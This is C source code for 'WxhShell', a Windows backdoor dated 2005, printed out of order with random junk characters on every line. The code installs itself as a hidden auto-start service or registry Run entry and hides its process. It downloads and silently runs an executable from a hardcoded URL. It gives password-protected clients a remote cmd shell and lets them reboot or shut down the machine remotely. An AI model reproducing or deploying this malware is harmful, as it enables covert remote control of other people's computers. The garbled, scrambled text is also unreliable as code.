    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G2[? b2)8  
    else { }Z,xF`  
    closesocket(wsh); 0p31C7!  
    ExitThread(0); e!B>M{  
    } ^E#i5d+'N  
    break; . XVW2ISv  
    } it#,5#Y:  
  // 获取shell \ ";^nk*  
  case 's': { n9w(Z=D\  
    CmdShell(wsh); na4^>:r~  
    closesocket(wsh); +W7#G `>  
    ExitThread(0); <b,oF]+;z  
    break; =-m"y~{>3  
  } &*JU N}86  
  // 退出 <y4WG  
  case 'x': { HPus/#j'+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C]bre^q  
    CloseIt(wsh); eJvNUBDSH  
    break;  n$u@v(I  
    } Bs!F |x(  
  // 离开 qj #C8Tc7  
  case 'q': { J6C/`)+w  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); LFskNF0X  
    closesocket(wsh); $SbgdbX  
    WSACleanup(); nkxv,_)ZT  
    exit(1); _-R&A@  
    break; y[64O x  
        } b;5&V_  
  } h6(\ tRd!\  
  } {@7xOOAw  
/)-OK7x  
  // 提示信息 y(fJ{k   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G(fS__z  
} b3M`vJ+{  
  } ?nCo?A  
w2(pgWed  
  return; ^Mmsja5K  
} a`*Dq"9pV  
Aw) I:d7F  
// shell模块句柄 "|^-Yk\U  
int CmdShell(SOCKET sock) [a[.tR38e  
{ b$JrLZs$_  
STARTUPINFO si; B'D\l\w  
ZeroMemory(&si,sizeof(si)); _wp_y-"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #WlTE&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nSr_sD6"  
PROCESS_INFORMATION ProcessInfo; lvd `_+P$  
char cmdline[]="cmd"; m5_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <C<z#M'`  
  return 0; #7r13$>!  
} ]5',`~jkF  
8fSY@  
// 自身启动模式 =MjkD)l  
int StartFromService(void) /_D_W,#P  
{ 3Ow bU  
typedef struct t8ZzBD!dP  
{ f6])M)  
  DWORD ExitStatus; o FS2*u  
  DWORD PebBaseAddress; M/J?$j  
  DWORD AffinityMask; }`uFLBG3  
  DWORD BasePriority; fW z=bJ"V  
  ULONG UniqueProcessId; eq6>C7.$  
  ULONG InheritedFromUniqueProcessId; VxAG= E  
}   PROCESS_BASIC_INFORMATION; V]5MIiNl  
oiTSpd-  
PROCNTQSIP NtQueryInformationProcess; M3 &GO5<  
L6 IIk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =fcM2O#$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v vzPt.ag  
Xx+eGV";`  
  HANDLE             hProcess; '',g}WvRwe  
  PROCESS_BASIC_INFORMATION pbi; 0$BX8?Z  
5rH?FQE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^r@,(r6w  
  if(NULL == hInst ) return 0; `Fx+HIng,  
H#/Hs#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eqSCE6r9x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qx1+'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^e{]WH?  
zhgvqg-  
  if (!NtQueryInformationProcess) return 0; \OW.?1d  
E"zC6iYZ;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k!"6mo@rd  
  if(!hProcess) return 0; [:gp_Z&  
,v#O{ma  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JI[{n~bhGD  
z)ndj 1,#)  
  CloseHandle(hProcess); Sfa;;7W@R  
p|>m 2(|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;Sl%I+?  
if(hProcess==NULL) return 0; }1EtM/Ni{!  
HJ_8 `( '  
HMODULE hMod;  "SA*  
char procName[255]; pCC3r t(  
unsigned long cbNeeded; adWH';Q:  
A=+1PgL66  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iyv5\  
]YrgkC35  
  CloseHandle(hProcess); 9T_fq56Oh6  
rtdEIk  
if(strstr(procName,"services")) return 1; // 以服务启动  Pm"nwm  
ENy$sS6[D  
  return 0; // 注册表启动 jx#9  
} yioX^`Fc(~  
)4R[C={  
// 主模块 *M-'R*Np  
int StartWxhshell(LPSTR lpCmdLine) &fW'_,-  
{ 3vHkhhYQ  
  SOCKET wsl; rpUTn!*u/  
BOOL val=TRUE; .aQ8I1~  
  int port=0; .#}A/V.-Y  
  struct sockaddr_in door; CI1K:K AM  
_`lPLBr6  
  if(wscfg.ws_autoins) Install(); TF?~vS%@P  
](^FGz  
port=atoi(lpCmdLine); &S39SV  
I23"DBR3  
if(port<=0) port=wscfg.ws_port; ~(`&hYE  
NQcNY=  
  WSADATA data; d*dPi^JjC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7l4}b^>/`  
n)PqA*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q)3QmA~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T>|Y_3YO_a  
  door.sin_family = AF_INET; (QS 0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {s0!hp  
  door.sin_port = htons(port); a1shP};pK  
OkMAqS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Gi\Z"MiBZ  
closesocket(wsl); SB`xr!~A]  
return 1; Y,?kS dS  
} 0j2mTF(C  
[QIQpBL  
  if(listen(wsl,2) == INVALID_SOCKET) { m^ /s}WEqp  
closesocket(wsl); JfRLqA/  
return 1; 6OR)97  
} kZ=2# .  
  Wxhshell(wsl); RG9iTA'  
  WSACleanup(); OQVo4yl"  
XUA%3Xr  
return 0; Ya}}a  
X/ Ii}X/p  
} qIxe)+.  
.O SQ8W }  
// 以NT服务方式启动 o$#q/L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t$b5,"G1  
{ <Y"HC a{  
DWORD   status = 0; DiskGq@T  
  DWORD   specificError = 0xfffffff; c`/kx  
Mp(;PbVD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ';m;K (g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; iO"ZtkeNr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J&bMox  
  serviceStatus.dwWin32ExitCode     = 0; F_&H*kL L3  
  serviceStatus.dwServiceSpecificExitCode = 0; )d>Dcne  
  serviceStatus.dwCheckPoint       = 0; ,ZVhL* "  
  serviceStatus.dwWaitHint       = 0; }}l jVUpC%  
o7^0Lo5Z?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); </b_Rar  
  if (hServiceStatusHandle==0) return; %pLqX61t=  
S263h(H  
status = GetLastError(); Gr'|nR8  
  if (status!=NO_ERROR) NZ?dJ"eq7  
{ UgD)O:xaU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B>[myx  
    serviceStatus.dwCheckPoint       = 0; ^\r{72!y  
    serviceStatus.dwWaitHint       = 0; ikO9p|J  
    serviceStatus.dwWin32ExitCode     = status; R[rOzoNp0  
    serviceStatus.dwServiceSpecificExitCode = specificError; FH{p1_kZ=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {{AZW   
    return; sq@c?!'  
  } (wvU;u  
Z*IW*f&0>1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a`zHx3Yg  
  serviceStatus.dwCheckPoint       = 0; Gz4LjMQ &  
  serviceStatus.dwWaitHint       = 0; >*\yEH9"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g1 =>u  
} nW`] =  
^V7)V)Z;0  
// 处理NT服务事件,比如:启动、停止 |pBvy1e4)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t^2$ent  
{ >Bu _NoM  
switch(fdwControl) wxN&k$`a  
{ S4rm K&  
case SERVICE_CONTROL_STOP: DQ&\k'"\  
  serviceStatus.dwWin32ExitCode = 0; Oc-ia)v1G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; T-]UAN"O  
  serviceStatus.dwCheckPoint   = 0; ZZYtaVF:  
  serviceStatus.dwWaitHint     = 0; cM\BEh h  
  { mex@~VK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `6BQ6)7  
  } |XMWi/p  
  return; ,!X:wY}dW  
case SERVICE_CONTROL_PAUSE: ["e;8H[K)%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; umt`0m. :  
  break; KUC%Da3  
case SERVICE_CONTROL_CONTINUE: "rVM23@ tq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Asy2jw\V  
  break; D={$l'y9p  
case SERVICE_CONTROL_INTERROGATE: ],vid1E  
  break; $ab{GxmX'4  
}; Sj IDzNI5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z2Z}mktP  
} .EvP%A m  
B1]FB|0's  
// 标准应用程序主函数 =1xVw5^F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )|#ExyRO  
{ cQsSJBZ[v5  
]:m4~0^#-(  
// 获取操作系统版本 MP.ye|i4Q  
OsIsNt=GetOsVer(); Kjpsz];  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l TVz'ys  
g4{0  
  // 从命令行安装 F~~9/#  
  if(strpbrk(lpCmdLine,"iI")) Install(); F%4N/e'L  
#B q|^:nj  
  // 下载执行文件 G&`5o*).bb  
if(wscfg.ws_downexe) { C =B a|Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O&}R  
  WinExec(wscfg.ws_filenam,SW_HIDE); # %'%LY=  
} Z_7TD)  
jo<Gf 5  
if(!OsIsNt) { 6/vMK<Fz9  
// 如果时win9x,隐藏进程并且设置为注册表启动 !& >LLZ  
HideProc(); 'Mhnu2d  
StartWxhshell(lpCmdLine); /||8j.Tm  
} = )4bf"~8  
else 8#9OSupp  
  if(StartFromService()) Cv/3-&5S  
  // 以服务方式启动 Ns#L9T#  
  StartServiceCtrlDispatcher(DispatchTable); ]\]mwvLT  
else ymT]ow6C  
  // 普通方式启动 prB:E[1  
  StartWxhshell(lpCmdLine); 8#4Gs Q"  
um\A  
return 0; L`fT;2  
}  v&7x ~!O  
_d+` Gw  
9>ZX@1]m_  
t}MT<Jj  
=========================================== CK_\K,xVT  
wRq f'  
:c`djM^ll  
XhN?E-WywQ  
{7q8@`Oa  
yVJ)JhV  
" /Ao.b|mm  
sDu&9+  
#include <stdio.h> +vPCr&40  
#include <string.h> =#wE*6T9  
#include <windows.h> Ri}JM3\J  
#include <winsock2.h> ;!OME*?m<  
#include <winsvc.h> V#c=O}  
#include <urlmon.h> 5bsv05=e  
i98PlAq)B  
#pragma comment (lib, "Ws2_32.lib") Ct:c%D(L  
#pragma comment (lib, "urlmon.lib") Tz7R:S.  
1{ ehnH  
#define MAX_USER   100 // 最大客户端连接数 g91xUG  
#define BUF_SOCK   200 // sock buffer ZS@R?  
#define KEY_BUFF   255 // 输入 buffer I;9DG8C&v*  
JD AX^]  
#define REBOOT     0   // 重启 KqNsCT+j  
#define SHUTDOWN   1   // 关机 f917F.1 I  
2d<`dQY{l3  
#define DEF_PORT   5000 // 监听端口 Xob(4  
D2io3Lo$ov  
#define REG_LEN     16   // 注册表键长度 }/g1  
#define SVC_LEN     80   // NT服务名长度 v[a4d&P  
ZB5NTNf>  
// 从dll定义API G B>T3l"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); akwS;|SZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZJ[p7XP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =H^~"16  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SL<EZn0F9  
.tK]-f2  
// wxhshell配置信息 SK_N|X].  
struct WSCFG { 0,iG9D 7  
  int ws_port;         // 监听端口 ? :F Jc[J  
  char ws_passstr[REG_LEN]; // 口令 Kn2W{*wD  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;:bnLSPo  
  char ws_regname[REG_LEN]; // 注册表键名 $us7fuKE  
  char ws_svcname[REG_LEN]; // 服务名 lH"VLO2l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1W9uWkk_d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9FF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lvUWs  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ESe$6)P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KnK\X>:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v,US4C|^3i  
g=Nde2d?  
}; ;3Q3!+%j  
P+0 -h  
// default Wxhshell configuration p#gf^Y5  
struct WSCFG wscfg={DEF_PORT, pz.fZV  
    "xuhuanlingzhe", B""=&(Yu  
    1, AO8%!+"_  
    "Wxhshell", T3-/+4$0v  
    "Wxhshell", X"T)X#:)  
            "WxhShell Service", |;YDRI  
    "Wrsky Windows CmdShell Service", +V#dJ[,8;.  
    "Please Input Your Password: ", |lVi* 4za%  
  1, 5[^Rf'wy  
  "http://www.wrsky.com/wxhshell.exe", <_4'So>  
  "Wxhshell.exe" _ n4C~  
    }; xB}B1H%  
Wa%p+(\<uB  
// 消息定义模块 *C^TCyBK;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6h\; U5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sT91>'&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {65_k  
char *msg_ws_ext="\n\rExit."; YO;@Tj2)x  
char *msg_ws_end="\n\rQuit."; gyC Xv0*z  
char *msg_ws_boot="\n\rReboot..."; `,FhCT5  
char *msg_ws_poff="\n\rShutdown..."; ''.\DC~K  
char *msg_ws_down="\n\rSave to "; QVD^p;b  
%O>_$ 4q  
char *msg_ws_err="\n\rErr!"; o7yvXrpG(U  
char *msg_ws_ok="\n\rOK!"; ~VPE9D@  
`L.nj6F  
char ExeFile[MAX_PATH]; Sqla+L*  
int nUser = 0; {%X[Snv  
HANDLE handles[MAX_USER]; kO,vHg$  
int OsIsNt; <ol? 9tm  
+^%0/0e  
SERVICE_STATUS       serviceStatus; @$?*UI6y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F4g3l    
~JOC8dO  
// 函数声明 8`q"] BQN  
int Install(void); '^.3}N{Fo  
int Uninstall(void); oCB#i~|>a  
int DownloadFile(char *sURL, SOCKET wsh); w5a;ts_x  
int Boot(int flag); -nB. .q  
void HideProc(void); gq+#=!(2  
int GetOsVer(void); 1xU)nXXb  
int Wxhshell(SOCKET wsl); W1O Y}2kj  
void TalkWithClient(void *cs); et`rPK~m  
int CmdShell(SOCKET sock); r#^uY:T%  
int StartFromService(void); gE6{R+sp  
int StartWxhshell(LPSTR lpCmdLine); S2$r 6T  
eak+8URo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =n M Aw&`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l D]?9K29  
{)- 3g~  
// 数据结构和表定义 q}J Eesf  
SERVICE_TABLE_ENTRY DispatchTable[] = /qXP\ a  
{ E_K32) J-  
{wscfg.ws_svcname, NTServiceMain}, >7QC>ws%  
{NULL, NULL} gq)uv`3  
}; R78lV -};Q  
zB+zw\ncN  
// 自我安装 @G=_nZxv  
int Install(void) 49 1 1  
{ m>'#664q1  
  char svExeFile[MAX_PATH]; 8*(|uX  
  HKEY key; oh >0}Gc8  
  strcpy(svExeFile,ExeFile); *BQy$dfE  
Aj@t*3  
// 如果是win9x系统,修改注册表设为自启动 4pFoSs?\  
if(!OsIsNt) { "%+9p6/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \0^Je>-:U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !A"-9OS2  
  RegCloseKey(key); ^L's45&_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \-:4TuU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z]^O=kX7k  
  RegCloseKey(key); %eE 6\f%g  
  return 0; YHo*IX')C?  
    } AXpyia7nU  
  } @Y+9")?  
} aX35^K /  
else { Mog!pmc{  
Y!_e ,]GW  
// 如果是NT以上系统,安装为系统服务 ~@K!>j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7 9ZYRm2;  
if (schSCManager!=0) +K"d\<  
{ 2sT\+C&H  
  SC_HANDLE schService = CreateService @5TJ]=  
  ( 2Xp?O+b#"O  
  schSCManager, A)D1 #,0  
  wscfg.ws_svcname, Us8nOr>5  
  wscfg.ws_svcdisp, ?) VBkA5j  
  SERVICE_ALL_ACCESS, l~GcD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w0fFm"A|W  
  SERVICE_AUTO_START, /QVhT  
  SERVICE_ERROR_NORMAL, IL<@UWs6  
  svExeFile, bH_zWk  
  NULL, 5x' ^.$K >  
  NULL, . AX6xc6  
  NULL, b'G!)n  
  NULL, =' #yG(h  
  NULL <z-+{-?z~  
  ); E% \Ohs7  
  if (schService!=0) =7<g;u   
  { -Sj|Y }  
  CloseServiceHandle(schService); x=VLRh%Gvl  
  CloseServiceHandle(schSCManager); 1Ozy;;\-9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); + Scw;gO  
  strcat(svExeFile,wscfg.ws_svcname); R(DlJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z=>#|pW,)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [xg& `x9,.  
  RegCloseKey(key); IHNl`\Le  
  return 0; 1WLaJ%Fv  
    } :%"$8o*0W  
  } psE&Rx3)  
  CloseServiceHandle(schSCManager); !"N-To-c  
} UWq[K&vQZ  
} T &kr IZw  
R]Pv=fn  
return 1; M`.v/UQn  
} {~eVZVv  
%n>*jFC  
// 自我卸载 L2^M#G@t  
int Uninstall(void) i 9wk)  
{ mEDi'!YE"  
  HKEY key; y4N=v{EbL  
<>^otb,e$  
if(!OsIsNt) { lAx^!#~\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +(J{~A~  
  RegDeleteValue(key,wscfg.ws_regname); SHP_  
  RegCloseKey(key); ER*Et+ >  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `'M}.q,k~  
  RegDeleteValue(key,wscfg.ws_regname); wx)Yl1 C  
  RegCloseKey(key); c*`= o( S  
  return 0; 0?8{q{ o+  
  } >TZyax<:  
} ^jZ4tH3K  
} SpiI9)gp  
else { 3+2cD  
e2$k %c~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o-%DL*^5  
if (schSCManager!=0) FTC,{$  
{ G,JNUok  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x9VR>ux&  
  if (schService!=0) 7.`:Z_  
  {  a 9f%p  
  if(DeleteService(schService)!=0) { }o MY  
  CloseServiceHandle(schService); Q{+N{/tF  
  CloseServiceHandle(schSCManager); z\ ?cazQ  
  return 0; WEFvJ0]  
  } uGH>|V9'c  
  CloseServiceHandle(schService); %,[p[`NRYR  
  } H8'_.2vwX  
  CloseServiceHandle(schSCManager); QAmb_:^"d  
} )Y@mL/_  
} W: vw.  
tgB\;nbB  
return 1; [agp06 $D?  
} Q7@.WG5  
o$+"{3svw?  
// 从指定url下载文件 x*2'I  
int DownloadFile(char *sURL, SOCKET wsh) !/Wp0E'A  
{ 6Cd% @Q2cr  
  HRESULT hr; S,~DA3  
char seps[]= "/"; RkuPMs Hw;  
char *token; U k*HRudt  
char *file; Z 7s (g]  
char myURL[MAX_PATH]; Y]gb`z$?  
char myFILE[MAX_PATH]; sM$gfFx  
3G)Wmmh"a  
strcpy(myURL,sURL); XF 8$D  
  token=strtok(myURL,seps); YFY$iN~B,  
  while(token!=NULL) ({_Dg43O'[  
  { ?E:L6,a  
    file=token; 98AX=%8  
  token=strtok(NULL,seps); N]6M4j!  
  } szx7CP`<8  
&E&e5(&$  
GetCurrentDirectory(MAX_PATH,myFILE); 8Qt'Y9|  
strcat(myFILE, "\\"); cy-Bhk0H  
strcat(myFILE, file); {@8TGHKv  
  send(wsh,myFILE,strlen(myFILE),0); '8b/TL  
send(wsh,"...",3,0); 4PzCm k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DoA+Bwq@  
  if(hr==S_OK) 9dFSppM  
return 0; Z U^dLN- N  
else KixS)sG  
return 1; r|>a;n Y  
YYc.e T<  
} b;XUv4~V  
* vMNv  
// 系统电源模块 6(uK5eD(!n  
int Boot(int flag) UfUboxT  
{ RiX~YL eM  
  HANDLE hToken; g:sn/Zug]  
  TOKEN_PRIVILEGES tkp; z]Dbca1a`  
F qW[L>M'  
  if(OsIsNt) { vS{zLXg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [spJ%AhV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L| uoFG{  
    tkp.PrivilegeCount = 1; =6sL}$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #gL$~.1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |/R)FT#i  
if(flag==REBOOT) { 5}uH;E)4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?4 fXCb]7  
  return 0; NlS/PWc6(  
} ] 3@.)  
else { <-1(G1v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8 ;C_@  
  return 0; x!08FL)  
} F.0CJ7s  
  } 3 0fsVwE2  
  else { 23AMrDF=N  
if(flag==REBOOT) { A1A/OU<Vb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %ur_DQ  
  return 0; Z`=[hu  
} ,r-l^I3<  
else { lj4D: >Ov  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H8g1SMT  
  return 0; EGZ F@#N  
} ?/ @~ d  
} K5fL{2V?  
IP 9{vk  
return 1; .%(Q*ioDh  
} "XEK oeG{  
1UHStR  
// win9x进程隐藏模块 61W ms@D%  
void HideProc(void) < c}cgD4  
{ v&NC` dVR  
>(} I7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mrzrQ@sN  
  if ( hKernel != NULL ) v~2$9x!9  
  { g0P^O@8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;;9W/m~]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o6PDCaT7  
    FreeLibrary(hKernel); Tjfg[Z/x  
  } LyRU2A  
$cxulcay=  
return; ecoi4f  
} i+2fWi6Z+  
MMZdF{5@G  
// 获取操作系统版本 sMq*X^z )?  
int GetOsVer(void) ;!JI$_ -\  
{ ~e ,D`Lv  
  OSVERSIONINFO winfo; me+F0:L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &3SQVOW ~T  
  GetVersionEx(&winfo); 8e`'Ox_5a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) GtCbzNY  
  return 1; ]5+db0  
  else lm?1 K:+[  
  return 0; yj6o533o  
} 4+Sq[Rv0  
:+9KNyA  
// 客户端句柄模块 uz(3ml^S  
int Wxhshell(SOCKET wsl) :jol Nl|a  
{ $rAHtr  
  SOCKET wsh; XQW+6LEQ  
  struct sockaddr_in client; b>B.3E\Pc  
  DWORD myID; dc .oK4G}  
'8Q:}{  
  while(nUser<MAX_USER) 1kG{z;9  
{ |hp_<F9.  
  int nSize=sizeof(client); \BV$p2m5-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \B0,?_i  
  if(wsh==INVALID_SOCKET) return 1; 0wx lsny?  
k}5Sz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5ayM}u%\~  
if(handles[nUser]==0) ^r u1QDT  
  closesocket(wsh); fgs){ Ng`  
else 8| 6:  
  nUser++; yA8e"$  
  } rNgFsFQ>.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s<i& q {r  
BM(8+Wj  
  return 0; ]}3AP!:  
} zHI_U\"8D  
=@ '>|-w|  
// 关闭 socket X*'tJN$  
void CloseIt(SOCKET wsh) Ag3[Nu1  
{ vPm&0,R*y:  
closesocket(wsh); 5Av bKT  
nUser--; lG\6z"K  
ExitThread(0); tSr.0'CE  
} )%4%Uo_Xm  
6*] g)m  
// 客户端请求句柄 -R^OYgF  
void TalkWithClient(void *cs) u~| D;e  
{ x<m{B@3T  
t:DZow  
  SOCKET wsh=(SOCKET)cs; +:hZ,G?>  
  char pwd[SVC_LEN]; E4a`cGb  
  char cmd[KEY_BUFF]; 3yWu-U \k  
char chr[1]; As$:V<Z  
int i,j; +1Qa7 \  
*o}LI6_u  
  while (nUser < MAX_USER) { [jPUAr}  
`D0>L '  
if(wscfg.ws_passstr) { jE /pba4R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "f/Su(6{0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '[E|3K5d  
  //ZeroMemory(pwd,KEY_BUFF); (]JZ1s|  
      i=0; or?@Ti;  
  while(i<SVC_LEN) { P8hA<{UFS\  
f^P:eBgpx  
  // 设置超时 Uxla,CCp-  
  fd_set FdRead; ~ .}  
  struct timeval TimeOut; 82S?@%}#J  
  FD_ZERO(&FdRead); e)pQh& uD  
  FD_SET(wsh,&FdRead); y4%u< /  
  TimeOut.tv_sec=8; tE i-0J  
  TimeOut.tv_usec=0; E?{{z4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?;s}GpEY:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6TN!63{Cz  
^BDM'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a J%&Y5L  
  pwd=chr[0]; %?GLMf7)  
  if(chr[0]==0xd || chr[0]==0xa) { g"Eg=CU  
  pwd=0; *Nv!Kuk  
  break; cs'ylGH  
  } 0q|.]:][Eo  
  i++; >zYO1.~  
    } NQ7 j{dJ?  
S7{L-"D =y  
  // 如果是非法用户,关闭 socket ~FnB!Mh}?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^ :%"Z&  
} -Wp69DP6q  
bPaE;?m  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;.Lf9XJ   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p$>e{-u  
_/@VV5Mq  
while(1) { F\' ^DtB  
N! 7r~B   
  ZeroMemory(cmd,KEY_BUFF); WD wW`  
<78]OZ] Z  
      // 自动支持客户端 telnet标准   X67.%>#3  
  j=0; +~gqP k  
  while(j<KEY_BUFF) { _R&}CP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !ke_?+ 8sY  
  cmd[j]=chr[0]; l>l)m-;O  
  if(chr[0]==0xa || chr[0]==0xd) { aNZJs<3;'D  
  cmd[j]=0; -&4W0JK9  
  break; yv.Y-c=  
  } cY%[UK$l  
  j++; c\X0*GX  
    } Jr0D:  
Oeua<,]Z~  
  // 下载文件 4WK@ap-~  
  if(strstr(cmd,"http://")) { BUH~aV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KmuE#Ia  
  if(DownloadFile(cmd,wsh)) G8c 8`~t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3|$>2IRq  
  else %9|}H [x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p&B c<+3e  
  } qT`sPEs;V  
  else { l?>sLKo9  
